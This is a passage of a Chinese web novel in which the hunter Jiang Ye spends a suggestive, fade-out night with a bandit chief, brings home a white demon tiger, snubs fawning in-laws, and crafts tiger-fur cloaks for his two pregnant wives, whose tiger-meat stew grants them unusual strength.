“姑爷什么时候跟我们寨主成亲啊?我们好讨杯喜酒喝!”
起哄声一浪高过一浪,汉子们的热情简直要将夜空点燃。
慕容晴看着江夜身前堆起的空酒碗,再看看他那双在火光下显得有些迷离的眼眸,心中一动。
她站起身,端起自己的酒碗,对着众人朗声道:“行了!都别灌了,江爷今天累了,需要休息!”
“哦——!”
人群中爆发出意味深长的哄笑声,那一道道暧昧的目光,在江夜和慕容晴之间来回扫视,让慕容晴的脸颊瞬间烫得厉害。
她懒得理会这帮看热闹不嫌事大的手下,走到江夜身边,不由分说地扶起他的胳膊,架在自己香肩上。
“走了,我扶你去休息。”她的声音不大,却带着不容置喙的果决。
江夜顺势站起,大半个身子的重量都压在了她身上。
慕容晴的身体几不可察地僵了一下,但还是稳稳地搀着他,在一众“恭送姑爷”、“寨主威武”的起哄声中,穿过喧闹的练武场,走向后院自己的住处。
……
穿过喧闹的练武场,后院显得格外静谧。
山风带着凉意,吹散了些许酒气,也吹乱了慕容晴的鬓发。
江夜的身体大部分重量都压在她身上,看似是她在扶着他,实则更像是她整个人都被他圈在怀里。
慕容晴的心跳得厉害,脸上火辣辣的,连走路都有些腿软。
短短的一段路,她却觉得像是走了一个世纪那么长。
“吱呀——”
终于到了房门口,慕容晴推开门,扶着江夜走了进去。
房间的陈设很简单,甚至有些冷硬。墙上挂着一张角弓和一柄擦得锃亮的朴刀,角落里还立着一个兵器架。
但空气中,却又飘散着一股淡淡的女儿家独有的清雅,混合着兵器的冷冽,形成一种奇异又迷人的味道。
慕容晴将江夜扶到床边坐下,刚想直起身去倒杯水,手腕却被一只大手猛地抓住。
她惊呼一声,整个人便失去了平衡,跌入一个滚烫的怀抱。
“江夜你……”
她话未说完,男人的脸庞便在眼前放大,滚烫的唇不由分说地印了下来。
慕容晴脑中“嗡”的一声,瞬间一片空白。
她象征性地挣扎了两下,便彻底软化下来,手臂鬼使神差地环住他的脖子,生涩而热情地回应着。
仿佛要将今天所有的震惊、好奇、崇拜、倾慕,都融化在这个吻里。
良久,唇分。
房间内,两人的影子交织在一起,印在墙上。
慕容晴俏脸绯红,气息不稳,那双平日里总是带着英气的美眸,此刻水光潋滟。
她看着江夜,眼神闪烁,似乎在做什么决定。
忽然,她挣开江夜的怀抱,走到墙角一个不起眼的木箱前。
那箱子是花梨木所制,上面雕刻着精美的云纹,看起来颇为贵重。
慕容晴打开箱子,从里面取出一件东西。
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江夜靠在床头,饶有兴致地看着她。
只见慕容晴手里拿着的,竟是一条通体乌黑,不知由何种兽皮鞣制而成的长鞭。
鞭身柔韧,在烛光下泛着幽冷的光泽,手柄处还镶嵌着细碎的银饰,看起来既危险,又透着一股邪异的美感。
江夜眉毛一挑。
慕容晴拿着那条皮鞭,缓步走回床边。
她没有说话,只是将皮鞭递到江夜面前,一双美眸直勾勾地看着他,眼神妩媚,带着一丝毫不掩饰的挑衅。
那眼神仿佛在说:你征服得了妖虎,征服得了我吗?
江夜看着她这副又野又飒的模样,忽然就明白了。
这个女人,骨子里就刻着桀骜不驯。
寻常的温柔,满足不了她。
她要的,是征服。
是被一个比她更强大的男人,彻底征服。
慕容晴见他只是看着,并不伸手,嘴角勾起一抹更加撩人的弧度。
她俯下身,红唇凑到江夜耳边,吐气如兰。
“现在,你是主人。”
话音落下,江夜瞳孔一缩,随即,嘴角咧开一抹邪魅的笑。
有意思。
真是太有意思了。
他不再犹豫,伸手接过那条触感冰凉滑腻的皮鞭,另一只手则揽住她纤细的腰肢,用力一带。
慕容晴发出一声短促的惊呼,整个人天旋地转,再回过神时,江夜居高临下地看着她,眼神里燃烧着两簇火焰。
他晃了晃手中的皮鞭,鞭梢划过她滚烫的脸颊,带来一阵冰凉的战栗。
“这可是你自找的。”
慕容晴毫不畏惧地迎上他的目光,眼神愈发迷离。
“我等着。”
江夜喉结滚动,再也按捺不住,低头吻了下去。
一室旖旎。
第52章 活神仙搭理他们了吗?
傍晚,夕阳将天边的云霞烧成一片瑰丽的火红,给稻花村镀上了一层温暖的金色。
凤啸寨的狂欢犹在耳边,江夜却已归心似箭,扛着半片小山般的白色虎尸,下了山。
当江夜扛着这庞然大物出现在村口时,最先看到的几个村民,手里的农具“哐当”一声掉在了地上。
“江夜扛着的那……那是啥玩意儿?”一个汉子揉了揉眼睛,声音发颤。
“好像是……一头剥了皮的牛?”
“放屁!你家牛长这样?你看那爪子,那煞气!”
江夜缓缓驶近,村民们终于看清那是一头被劈成两半的猛虎,还是一头通体雪白的猛虎,整个村口,瞬间陷入了死一般的寂静。
所有人的笑容,都瞬间凝固在了脸上。
那是一头体型比上次那头吊睛白额虎还要庞大几分的猛虎!
更让人头皮发麻的是,这头猛虎通体雪白,没有一丝杂色,皮**上隐约可见奇特的金色纹路,即便已经死去,身上那股源自血脉深处的凶煞之气,依旧让百米开外的人们感到一阵阵心悸。
半片虎尸被随意地扛在肩上,雪白的皮**被暗红的血迹浸染,形成一种触目惊心的诡异美感。
“乖乖……这……这是山里的妖王吧?”一个胆子大的后生,声音发颤,打破了寂静。
“什么妖王,这是异兽!传说中百年难得一见的异兽!皮毛骨血,无一不是至宝,一根虎骨都能卖出天价!”村里的王老根不知何时也挤在人群里,他死死盯着那白虎尸体,眼神狂热,仿佛看到了什么神迹。
此言一出,人群中响起一片倒吸凉气的声音。
所有人都知道异兽意味着什么。那是比最凶猛的野兽还要恐怖百倍的存在,是寻常猎户想都不敢想的传说。
可现在,这传说中的异兽,就这么**夜像拖死狗一样,拉回来了半片。
村民们看着江夜淡然的侧脸,眼神彻底变了。
如果说上一次打死猛虎,让他们觉得江夜是顶尖的猎人。
那么这一次,在他们眼中,江夜已经和山野传说里的“活神仙”没什么区别了。
消息像长了翅膀,飞速传遍整个村子。
“江夜又打到老虎了!”
“这次是头白色的妖虎!比上次那头还大!”
正在江峰家院子里,缠着江峰问东问西,打探江夜的家底的张桂芬和王大庆,听到外面的动静,耳朵一下就竖了起来。
“妖虎?”王大庆撇了撇嘴,一脸不信,“吹什么牛,他江夜能打一头就是祖坟冒青烟了,还来第二头?”
张桂芬眼珠子一转,心里却活泛开了。她一把拉起王大庆,挤出笑容对王慧慧道:“慧慧啊,外面这么热闹,娘跟你弟弟出去看看,别是出了什么事。”
说完,不等王慧慧回答,母子俩就火急火燎地冲了出去。
他们挤开围观的人群,当目光触及到马车上那半片白虎尸身的瞬间,两人的大脑“嗡”的一声,一片空白。
那股即便隔着老远都能感受到的血腥煞气,那比磨盘还大的虎头……
“我的娘诶!”王大庆两腿一软,一屁股坐在了地上,脸色煞白,抖如筛糠。
张桂芬也好不到哪里去,只觉得一股寒气从脚底板直冲天灵盖,双腿发软,扶着旁边一棵树才没瘫倒在地。
这……这就是妖虎?
江夜……他把妖虎给杀了?!
短暂的恐惧过后,一股更为强烈的狂喜与贪婪,瞬间占据了两人的脑海。
神仙!这江夜就是活神仙啊!
而这个活神仙,是他们家的亲戚!
张桂芬猛地一拍大腿,脸上瞬间堆起了菊花般的褶子,那笑容谄媚到了极点。
她一把将还瘫在地上的王大庆拽起来,整理了一下他的衣服,又理了理自己的头发,压低声音,语气激动到扭曲:“大庆!快!这是咱们家天大的机会!快跟娘过去!”
母子俩像是打了鸡血,奋力从人群中往前挤。
“让让!都让让!”王大庆推开挡在前面的一个村民,扯着嗓子喊道,“那是我姐夫的亲弟弟!我们是亲戚!
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”
张桂芬更是满脸红光,一边挤一边嚷嚷:“哎呀!江夜啊,我就说我没看错人,你真是出息了!这是天神下凡啊!”
两人终于挤到了最前面,正好拦在江夜面前。
“江夜!不不不,江爷!活神仙!”张桂芬搓着手,笑得见牙不见眼,一张老脸上的皱纹挤得能夹死苍蝇,“哎哟喂,您可真是咱们老王家和**家的麒麟子啊!这……这妖虎都是您一个人打的?真是威风!太威风了!”
王大庆也连忙跟上,对着江夜一躬到底,马屁如潮:“江爷!您就是武曲星下凡!我长这么大,就没佩服过谁,您是头一个!以后我王大庆就跟您混了,您让我往东,我绝不往西!”
母子俩一唱一和,唾沫横飞,那副嘴脸,看得周围的村民都起了一身鸡皮疙瘩。
然而,江夜连眼皮都没抬一下。
在他眼里,这两个上蹿下跳的小丑,跟路边的两只苍蝇没什么区别,甚至还不如苍蝇,至少苍蝇不会这么聒噪。
他神情淡漠,身子往旁边一侧,没有丝毫停顿,径直从张桂芬和王大庆母子俩身边走过。
张桂芬和王大庆脸上的笑容彻底僵住。
他们愣在原地,看着江夜远去的背影,大脑再次一片空白。
周围,死一般的寂静。
紧接着,不知是谁先没忍住,“噗嗤”一声笑了出来。
这声笑像个开关,瞬间引爆了全场。
“哈哈哈哈!笑死我了!看他们那德行!”
“刚才还说人家是活神仙呢,人家活神仙搭理他们了吗?”
“脸皮真厚啊,前些天天还指着江峰哥的鼻子骂人家是窝囊废,今天就凑上来说和人家是一家人了。”
“没见过这么不要脸的!”
村民们的议论声和毫不掩饰的嘲笑声,像一记记响亮的耳光,狠狠抽在张桂芬和王大庆的脸上。
两人的脸,由白转红,再由红转紫,最后变成了猪肝色。
他们站在原地,在全村人看小丑一样的目光中,恨不得找个地缝钻进去。
第53章 闻香大会
江夜家院门口,白梦夏和白梦秋早已闻声迎了出来。
当她们看清江夜肩上那半片比门板还宽的白色巨虎时,两张绝美的俏脸瞬间失去了血色,美眸中满是纯粹的震撼。
这头虎,比上次那头还要恐怖!
可下一秒,这股震撼就尽数化为了无与伦比的骄傲和自豪。
她们的男人,就是这样一个能将传说中的妖虎踩在脚下的盖世英雄。
然而,姐妹俩的脚步却没有停留在虎尸旁。
她们几乎是小跑着,径直冲到了江夜面前。
她们关心的,从来都不是这些战利品。
“夫君!”白梦夏一双柔荑已经拉住了江夜的胳膊,从上到下,仔仔细细地检查着,“你……你有没有受伤?快让我看看!”
白梦秋跟在姐姐身后,一双水汪汪的大眼睛里已经蒙上了一层水雾,她不说话,只是紧紧抓着江夜的另一只衣袖,那份担忧和后怕,满得快要溢出来。
在她们眼里,这头能让全村人敬若神明的妖虎,远不如夫君的一根头发重要。
江夜心中最柔软的地方被狠狠触动,一股暖流瞬间涌遍四肢百骸。
他反手握住姐妹俩冰凉的小手,将她们一左一右地揽进怀里,脸上露出一抹安心的笑容。
“傻丫头,我好好的呢。”他轻轻拍着她们的后背,“就这头大猫,还伤不了你们的男人。”
感受到他怀抱的温暖和强有力的心跳,姐妹俩悬着的心才终于缓缓落下,将俏脸深深埋在他的胸膛,感受着这份独属于她们的安宁。
入夜。
江夜家,昏黄的油灯将屋子照得一片温暖。
姐妹俩抬来一桶冒着袅袅热气的洗脚水,水里还放了些驱寒活血的草药,散发着淡淡的清香。
江夜靠坐在椅子上,惬意地闭着眼睛。
白梦夏和白梦秋,就这么自然而然地跪坐在他身前。
白梦夏挽起袖子,露出一截雪白皓腕,小心翼翼地将江夜的脚放入温热的水中,力道适中地揉捏着。
她的侧脸在灯光下美得惊心动魄,因为怀孕,原本就丰腴的身段更添了几分母性的光辉,眉眼间的温柔几乎要化成水滴落下来。
白梦秋则拿着一块干净的软布,沾了水,细致地为他擦拭着小腿,少女的娇憨未褪,嘴角还带着一丝笑意,仿佛在做什么了不得的大事。
江夜享受着这帝王般的待遇,心里却是一片宁静与柔软。
外面的腥风血雨,山寨的尸山血海,在这一刻都变得无比遥远。
这满室的温馨,这两个只属于他的女人,才是他奋斗的全部意义。
他睁开眼,伸出手,轻轻抚摸着白梦夏如瀑般的秀发,那丝滑的触感让他心头一荡。
感受到他的动作,白梦夏抬起头,一双美眸静静地望着他。
江夜笑了,声音压得极低,带着一丝宠溺的沙哑。
“明天给你们一个惊喜。”
话音落下,姐妹俩手上的动作同时一顿。
两人齐刷刷地抬起头,两双各有风情的美眸里,瞬间闪烁起好奇与期待的光芒。
“什么惊喜呀,夫君?”白梦秋最先忍不住,晃了晃江夜的膝盖,娇声问道。
白梦夏也眨着眼,满脸都是询问,那副乖巧又好奇的模样,看得江夜心都快化了。
他故意卖了个关子,嘴角的笑意更深了。
“现在说了,就不叫惊喜了。”
他伸出手指,在白梦秋挺翘的小鼻子上轻轻刮了一下。
“明天就知道了。”
看着两个妻子因为他的话而鼓起腮帮,又忍不住互相交换着期待眼神的可爱模样,江夜只觉得,这世间最美的风景,也不过如此了。
……
深夜,江夜家。
寻常百姓家早已熄了灯火,省着那点珍贵的灯油,但江夜家却是灯火通明。
更要命的,是那股从院子里飘出来的,霸道到不讲道理的肉香。
这香味仿佛有自己的生命,浓郁,蛮横,带着一丝异兽特有的野性,顺着夜风,钻进村里每一户人家的门缝窗隙,在每一个饥肠辘辘的村民鼻尖上,反复撩拨。
屋里,一张方桌,一大盆热气腾腾的虎骨汤。
汤色奶白,浓郁如浆,表面浮着一层金黄的油脂,大块大块雪白的虎肉在汤中翻滚,散发着勾魂夺魄的香气。
江夜、白梦夏、白梦秋三人围坐桌前。
江夜吃相豪迈,捞起一块带着筋膜的虎肉,大口撕咬,肉质紧实弹牙,蕴含着**性的精纯能量,顺着喉咙滑入腹中,瞬间化为一股股暖流,滋养着四肢百骸。
爽!
他端起大碗,“咕嘟咕嘟”灌下一大口汤,只觉得浑身的毛孔都舒张开来,白天猎杀异虎消耗的精力,转瞬间便补了回来,甚至犹有胜之。
白梦夏和白梦秋吃相斯文许多,小口小口地抿着汤,用筷子夹起一小块嫩肉,细细地咀嚼。
桌子底下,团子也分到了一个属于自己的大盆,里面装满了切碎的虎肉和肉汤。
小家伙的吃相比江夜还要夸张,把整个脑袋都埋进了盆里,吃得满嘴流油,喉咙里发出“呼噜呼噜”的满足声,尾巴摇得像个风车。
这可是异虎的血肉,蕴含的能量何其庞大。
几块肉下肚,异变陡生。
只见团子通体银白的毛发,竟从根部泛起一层淡淡的,却又无比纯粹的金色光晕。
那光晕流动,仿佛水银,将它衬托得愈发神异。它抬起头,那双原本就灵动的眸子,此刻更是亮得惊人,仿佛蕴含着星辰,少了几分**,多了几分人性化的智慧。
“呜~”
团子似乎也察觉到了自己的变化,它跑到江夜脚边,用自己毛茸茸的脑袋,亲昵地蹭着他的裤腿,表达着自己的感激与依恋。
随后,它又屁颠屁颠地跑到白梦夏和白梦秋身边,挨个蹭了蹭,喉咙里发出撒娇般的呜咽声,逗得两女眉开眼笑。
“夫君,这虎肉……”白梦夏刚吃下几口,就感觉到了不对劲。
一股磅礴而温和的暖流,从腹部升起,迅速流遍全身。原本因为怀孕而时常感到的腰酸和疲惫,竟在这股暖流的冲刷下,一扫而空。
她只觉得浑身都充满了力气,精神前所未有的好,就连皮肤,似乎都变得更加细腻光洁了。
白梦秋也有同样的感觉,她惊喜地摸了摸自己的脸颊,又活动了一下手脚,俏脸上满是不可思议。
姐妹俩对视一眼,都从对方眼中看到了浓浓的震撼,以及那份震撼之后,对自家男人愈发浓烈的崇拜与爱意。
她们的男人,随手猎来的一头猛虎,其血肉竟有如此神效!
这哪里是猎人,分明就是传说中的神仙人物!
江夜看着她们的反应,
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心中了然,脸上露出一抹安心的笑容。
“多吃点,对你们和孩子都好。”
他声音不大,却带着让人无比信服的力量。
姐妹俩重重点头,乖巧地继续小口吃肉喝汤,感受着身体的奇妙变化,心中被巨大的幸福感填满。
……
江夜家吃得热火朝天,整个稻花村却陷入了一场甜蜜的“酷刑”。
那股虎肉的香味,实在是太霸道了。
它无孔不入,一遍又一遍地冲刷着村民们脆弱的味蕾和神经。
无数人家里,男人在床上翻来覆去,烙饼似的睡不着,肚子不争气地“咕咕”直叫,喉结滚动,嘴里口水泛滥。
婆娘们则在一旁唉声叹气,一边埋怨男人没本事,一边又忍不住幻想着那肉汤的滋味。
孩子们更是直接,在梦里咂巴着嘴,哭着喊着要吃肉。
“这江夜……还让不让人睡觉了!”
“老天爷啊,我这辈子要是能吃上一口这样的肉,**都值了!”
“别想了,那是妖虎的肉,是活神仙才能吃的东西,咱们闻闻味儿就不错了。”
羡慕,嫉妒,敬畏……种种情绪在稻花村的夜色中发酵。
而在这场“闻香大会”中,最痛苦的,莫过于江峰家。
张桂芬和王大庆白日里丢尽了脸面,被王慧慧冷嘲热讽了一顿,本就一肚子火,此刻闻着那股从隔壁飘来的,仿佛能香到骨子里的肉味,更是嫉妒得眼睛都红了。
“咕噜……咕噜……”
王大庆的肚子叫得尤其响亮,他躺在床上,死死地盯着漆黑的屋顶,脑子里全是大块的,流着油的虎肉。
“娘的,太香了……我要吃肉!”他忍不住骂骂咧咧。
张桂芬坐在床沿,脸色铁青,两只手死死地攥着衣角。
她下午才刚在江夜那里碰了一鼻子灰,被全村人当猴看,可这股香味,却像一只无形的手,挠得她心肝脾肺肾都跟着痒。
尊严?脸面?
在能延年益寿,甚至能让人脱胎换骨的妖虎肉面前,算个屁!
她想起白天王老根那狂热的眼神,想起村民们提到江夜时那敬畏的语气。
傻子才继续跟江夜作对!
这已经不是什么村里的懒汉了,这是一条真真正正的金大腿!
只要能抱上,别说二十两银子的拜师费,就是两百两,两千两,将来都不在话下!
想到这里,张桂芬眼中的嫉妒和不甘,瞬间被一股更为炽热的贪婪所取代。
她猛地一拍大腿,从床上站了起来,把旁边的王大庆都吓了一跳。
“娘,你干啥?”
张桂芬没有回答他,只是咬着牙,眼神在黑暗中闪烁着骇人的精光。
不行!
绝对不能就这么算了!
那个江夜,他再厉害,也是江峰的亲弟弟!是她女儿王慧慧的小叔子!
这层关系,就是她最大的本钱!
什么活神仙,什么惹不起,只要脸皮够厚,方法够多,神仙也能给你拉下凡尘来!
想到这里,张桂芬的眼神瞬间变得无比坚定。
她一咬牙,仿佛下定了什么决心,对王大庆低声道:“大庆,你给我记住了!从明天起,江夜就是你亲爹!不,比你亲爹还亲!咱们能不能吃香的喝辣的,就全看他了!”
必须抱紧江夜这条大腿!
死死地抱住!
第54章 甜蜜的折磨
饭后,院子里一片静谧,只有几声虫鸣。
江夜家那霸道的肉香虽然淡了些,却依旧顽固地盘踞在稻花村的上空,成了今夜所有村民梦中的主旋律。
白梦夏收拾好桌子,端着木盆走出屋子,准备去院里的大水缸打水洗漱。这是她每天的习惯,动作娴熟自然。
她走到水缸边,看着里面满满的一缸清水,习惯性地弯下腰,双手抓住木盆的边缘,深吸一口气,腰腹发力,准备将这十几斤重的水盆端起。
“哗啦——!”
一声巨大的水响打破了夜的宁静。
白梦夏整个人都僵住了。
她预想中沉重无比的木盆,此刻却像是被她从水里“拽”了出来,轻得不可思议。巨大的惯性让盆里的水泼洒出大半,溅了她一身,裙摆湿了一大片。
她呆呆地站在原地,低头看看自己湿透的裙摆,又看看手里那只依旧盛着小半盆水的木盆,最后,目光落在了自己那双纤细白皙的手臂上。
这是……怎么回事?
她不信邪,松开手,再次盛满水,抓住木盆边缘,这次只用了一只手,轻轻一提。
那装着十几斤水的木盆,就这么被她单手轻松地提离了地面。
白梦夏彻底懵了,一双美眸瞪得溜圆,红润的小嘴微微张着,满脸都是不敢置信。
“姐姐,怎么了?”白梦秋听到动静,提着裙角从屋里跑了出来,看到姐姐浑身湿漉漉的,一脸惊愕地站在那里,不由得担心起来。
白梦夏像是没听到她的话,只是怔怔地指着地上的水盆,声音里带着一丝颤抖和茫然:“梦秋……你……你来试试。”
“试什么呀?”白梦秋眨了眨眼,顺着姐姐的手指看去,好奇地走到水盆边。
她学着姐姐的样子,伸出小手抓住木盆的边缘,还俏皮地单手发力。
下一秒,她脸上的俏皮就变成了和姐姐如出一辙的震惊。
木盆被她轻而易举地提了起来,甚至因为用力过猛,还往上颠了一下,水花再次溅出。
“呀!”白梦秋惊呼一声,连忙放下木盆,一双水汪汪的大眼睛里写满了不可思议。她看看自己的小手,又看看姐姐,结结巴巴地问,“姐……姐姐,我……我怎么力气变得这么大了?”
姐妹俩面面相觑,脑海中同时闪过一个念头——虎肉!
那碗奶白色的虎骨汤,那些蕴含着**性能量的虎肉!
这份认知,让她们心中对江夜的崇拜,瞬间攀升到了一个前所未有的顶点。
……
收拾完一切,姐妹俩回到屋里。
江夜正靠坐在床边,悠闲地擦拭着那把长弓,神情专注。昏黄的灯光勾勒出他英挺的侧脸轮廓,散发着一种让人心安的强大气息。
姐妹俩的脚步不自觉地放轻了。
她们走到江夜身边,一左一右,紧紧依偎着他坐下。
感受着男人身上传来的温热,两张绝美的俏脸上,不约而同地飞起两抹醉人的酡红。
屋内的气氛,在沉默中悄然升温。
白梦夏抬起头,静静地看着江夜的侧脸,美眸中水波流转,那份温柔的爱意几乎要满溢出来。
她鼓起勇气,主动凑上前,在他棱角分明的嘴唇上,轻轻印下了一个柔软而温热的吻。
“夫君……谢谢你。”
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她的声音很轻,像羽毛拂过心尖,带着无尽的感激与缱绻。
这主动的一吻,对向来温柔内敛的她来说,已是最大的突破。
江夜擦拭弓身的动作一顿,转过头,看着她羞红的脸颊和亮晶晶的眼眸,心中一片柔软。
他还没来得及说话,另一边的白梦秋却“咯咯”地笑了起来。
少女的胆子向来比姐姐大得多。
她干脆利落地转身,直接坐到了江夜的大腿上,双臂紧紧环住他的脖子,一双水汪汪的大眼睛里,仿佛盛满了天上的星辰,亮得惊人。
“夫君,你太厉害了!”
伴随着一声满是崇拜的娇呼,少女的香吻也随之落下,带着一丝虎肉汤的香甜和她独有的少女芬芳,热烈而直接。
江夜左手揽着白梦夏温软的腰肢,右手顺势扶住白梦秋,感受着怀中的温香软玉,听着她们发自内心的赞美和爱慕,只觉得一股前所未有的满足感,从心底直冲天灵盖。
大丈夫在世,当如是!
醒掌**剑,醉卧美人膝。
外面的腥风血雨,都化作了此刻怀中美人眼里的万丈荣光。
他忍不住低笑出声,左拥右抱,享受着这份帝王般的齐人之福。
体内,因为异虎血肉而激荡的磅礴气血,在这一刻被怀中温软彻底点燃,在他四肢百骸中横冲直撞。
但他知道,两个丫头都有了身孕,是万万碰不得的。
这甜蜜的折磨,让他痛并快乐着。
江夜深吸一口气,强行压下那股几乎要冲破理智的燥热,看着怀里两个因为他的反应而愈发娇羞动人的妻子,嘴角的笑意愈发宠溺。
第55章 夫君,这是给我们的?
第二天。
天光大亮,江夜起了个大早。
院子里,那半片虎尸已经处理干净,只留下一张巨大到夸张的完整虎皮。
这张虎皮被平铺在几张木板拼接成的巨大平面上,占据了院子的大半空间。
它通体雪白,没有一丝杂色,仿佛是昆仑山上最纯净的积雪。
阳光下,皮**泛着一层柔和的光晕,而皮**之下,那奇特的暗金色纹路若隐若现,仿佛有生命般在缓缓流淌,散发着一股源自荒古的霸道气息。
白梦夏和白梦秋早已被这张神异的虎皮所吸引,围着它啧啧称奇。
“夫君,这就是你说的惊喜吗?”白梦秋忍不住伸出手指,小心翼翼地触碰了一下那雪白的皮**,触感比最顶级的丝绸还要顺滑,指尖传来一阵微凉而柔软的感觉。
江夜笑着摇摇头:“这只是材料。”
说着,他从屋里拿出几样工具。
一把是他亲手锻造的,薄如蝉翼、锋利无比的特制小刀,还有一些瓶瓶罐罐,里面装着不知名的药粉和液体。
江夜站在巨大的虎皮前,闭上双眼。
【神级工匠技艺,发动!】
刹那间,他眼前的世界变了。
巨大的虎皮在他眼中化作无数纵横交错的线条和数据,完美的切割方案、最省料的布局、每一处纹理的走向、皮**厚薄的差异……
所有信息在一瞬间涌入脑海,形成了一副完美无瑕的立体图纸。
他睁开眼,眼神变得无比专注。
手中那把薄如蝉翼的小刀,仿佛成了他手臂的延伸。
他动了。
没有丝毫犹豫,刀锋落下,没有发出任何声音,只是在雪白的皮**上,划开一道肉眼几乎无法察觉的细线。
他的动作快如闪电,却又带着一种奇特的韵律感,仿佛不是在切割,而是在作画。
刀光闪烁,在巨大的虎皮上游走,每一次转折,每一次弧线,都精准到了极致。
白梦夏和白梦秋在一旁研着墨,一双美眸却早已被院中那道身影牢牢吸引。
她们痴痴地看着江夜专注的侧脸,看着他行云流水的动作,眼神渐渐迷离。
她们的男人,时而是箭出夺命的杀神,时而是温柔体贴的夫君,此刻,又化身成了巧夺天工的造物主。
他身上的每一面,都散发着让她们沉沦的魅力。
不到一炷香的功夫,巨大的虎皮便被完美地分割成了两块,大小、形状几乎一模一样。
接下来是鞣制。
江夜将那些瓶瓶罐罐里的药粉和液体按照特定的比例混合,调配出一种散发着奇异清香的药膏,均匀地涂抹在虎皮的内侧。
神奇的一幕发生了。
那原本还带着一丝生硬的皮质,在接触到药膏的瞬间,竟以肉眼可见的速度变得柔软、坚韧,皮上的暗金色纹路仿佛被激活了一般,光芒流转,愈发清晰。
整个鞣制过程,本该需要数天乃至数月的繁琐工序,在江夜手中,不过短短半个时辰便已完成。
最后是缝合。
江夜从黑风寨的缴获中,找出几卷最上等的金线。
他以虎筋为引,金线为体,十指翻飞,快得只剩下一片残影。那根金针在他指间仿佛有了生命,穿梭于虎皮边缘,留下一排排细密而华美的金色锁边。
阳光下,金线与雪白的虎皮交相辉映,奢华与霸气完美融合。
终于,当最后一针落下,江夜直起身,手中托着两件崭新的作品。
那是一对披风。
造型古朴大气,通体雪白无瑕,边缘用繁复的金色丝线锁边,绣出了精美的云纹。披风的领口,用一整块温润的白玉作为搭扣,更添了几分贵气。
它们静静地躺在江夜手中,却仿佛蕴含着那头异虎的灵魂,霸气内敛,华美天成。
“好了。”
江夜的声音将还在发呆的姐妹俩唤回了神。
两人放下手中的墨条,缓缓走到江夜面前,当她们的目光落在披风上的瞬间,不约而同地捂住了自己的小嘴,一双美眸中,瞬间被极致的惊喜与感动填满。
这……这是给她们的?
用那头传说中的妖虎之皮,亲手为她们制作的披风?
白梦夏的眼眶瞬间就红了,一层水雾在美眸中氤氲,她看着江夜,嘴唇翕动,却一个字也说不出来。
白梦秋更是直接,眼泪像断了线的珠子,吧嗒吧嗒地往下掉,却又忍不住咧开嘴笑,又哭又笑的模样,可爱又让人心疼。
江夜看着她们的反应,心中一片温软。
他没有多言,只是拿起其中一件披风,抖开。
“哗——”
雪白的披风在半空中展开,像一团流动的云,又像一道凝固的瀑布。
阳光洒下,那用金线绣出的云纹仿佛活了过来,在雪白的虎皮上流淌,折射出璀璨而又内敛的光芒。
领口那枚温润的白玉搭扣,在阳光下泛着柔和的光泽,为这件霸气天成的披风,平添了几分说不出的高贵。
白梦夏和白梦秋的呼吸,在这一刻彻底停滞。
她们的目光,死死地被那件披风吸引,再也挪不开分毫。
江夜迈步,走到白梦夏面前。
他脸上带着宠溺的笑,亲手将这件披风,为她披在了肩上。
披风带着男人身上淡淡的余温,轻柔地落在她的肩头。
一股难以言喻的触感传来,那雪白的虎皮,比她们见过的最顶级的丝绸还要顺滑,仿佛不是凡物,而是天上的云霞所织。
恰到好处的重量,让她感觉到的不是负担,而是一种前所未有的,厚重而踏实的安全感。
白梦夏下意识地伸出手,指尖轻轻抚过胸前的皮**,又小心翼翼地触碰了一下那枚冰凉温润的玉扣。
这一切,都真实得像一场梦。
江夜拉着她的手,引她到院里那口盛满了清水的大水缸前。
“看看。”
他的声音低沉而温柔,带着让人无法抗拒的魔力。
白梦夏顺从地低下头,望向水缸里自己的倒影。
只一眼,她便彻底呆住了。
水中的女子,依旧是她熟悉的容颜,但整个人的气质,却发生了翻天覆地的变化。
一身素雅的布裙,外面罩着这件雪白华贵的虎皮披风。乌黑如瀑的长发垂在肩头,与那雪白的皮**形成了极致的对比,衬得她本就绝美的容颜,多了一丝不容亵渎的神圣。
原本的温柔娴静,此刻被这件披风赋予了一种难以言喻的气场。
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她还是她,却又不再是过去的她。
这件披风,就像是夫君为她量身打造的冠冕,将她从过往所有的尘埃与卑微中,彻底剥离了出来。
水面倒影中的那双美眸,渐渐氤氲起一层薄薄的水雾。
白梦夏缓缓抬起头,看向身前的男人。她嘴唇翕动,千言万语堵在喉间,最终却只化作一声带着浓浓哭腔的哽咽。
“夫君……”
江夜没有说话,只是抬起手,用指腹轻轻为她拭去泪痕。
另一边,白梦秋早已看得痴了。
她看着水缸倒影里仿佛脱胎换骨的姐姐,又看看江夜,一双水汪汪的大眼睛里,早已是星光璀璨。
江夜转过身,拿起另一件披风,笑着对她张开了双臂。
白梦秋再也忍不住,发出一声欢呼,像一只快乐的小鸟,直接扑进了江夜的怀里。
“夫君!夫君你太好了!”
她的小脑袋在江夜胸膛上蹭来蹭去,表达着自己最纯粹的喜悦。
江夜轻笑,揉了揉她的头发,也将这另一件披风为她披上。
白梦秋的身形本就比姐姐更娇小一些。此刻,被这件宽大的雪白披风一裹,整个人更显得玲珑可爱。雪白的虎皮包裹着她纤细的身姿,只露出一个精致小巧的下巴和一双灵动的大眼睛。
她就像一个不小心闯入凡间的雪中精灵,俏皮,可爱,又带着一丝不染尘俗的灵气。
“哇!”
白梦秋低头看着自己身上的新衣,发出一声惊喜的赞叹。
她不像姐姐那般文静,而是兴奋地原地转了一个圈。
宽大的披风下摆随着她的动作,在空中划开一道优美的白色弧线,金色的云纹在阳光下闪闪发光。
“姐姐,姐姐你看!我好看吗?”
她提着裙角,跑到白梦夏面前,献宝似的又转了一圈,满脸都是期待。
白梦夏看着妹妹这副可爱模样,忍不住破涕为笑,伸出手,宠溺地帮她理了理略显凌乱的发丝,重重地点头。
“好看,我们梦秋最好看了。”
得到姐姐的肯定,白梦秋的笑脸愈发灿烂。
下一秒,她转身,再次狠狠地扑进了江夜的怀里。
这一次,她直接用双臂紧紧环住江夜的脖子,两条修长的小腿也顺势盘在了他的腰上,整个人像个树袋熊一样挂在了他身上。
“夫君是天底下最好的夫君!”
少女清脆又带着无比崇拜的声音,在小院里回荡。
她不管这虎皮有多珍贵,也不管这披风在外面能换来多少金银。她只知道,这是她的男人,花费了心思,亲手为她做的。
这份心意,胜过世间一切。
江夜被她这突如其来的热情弄得哭笑不得,只好伸手托住她,防止她掉下去。
少女柔软的身躯紧紧贴着他,隔着衣料,都能感受到那惊人的弹性和温热。怀里抱着一个,身边站着一个,两个绝色佳人,都因他而喜,因他而笑。
江夜的心中,被一种名为“满足”的情绪,彻底填满。
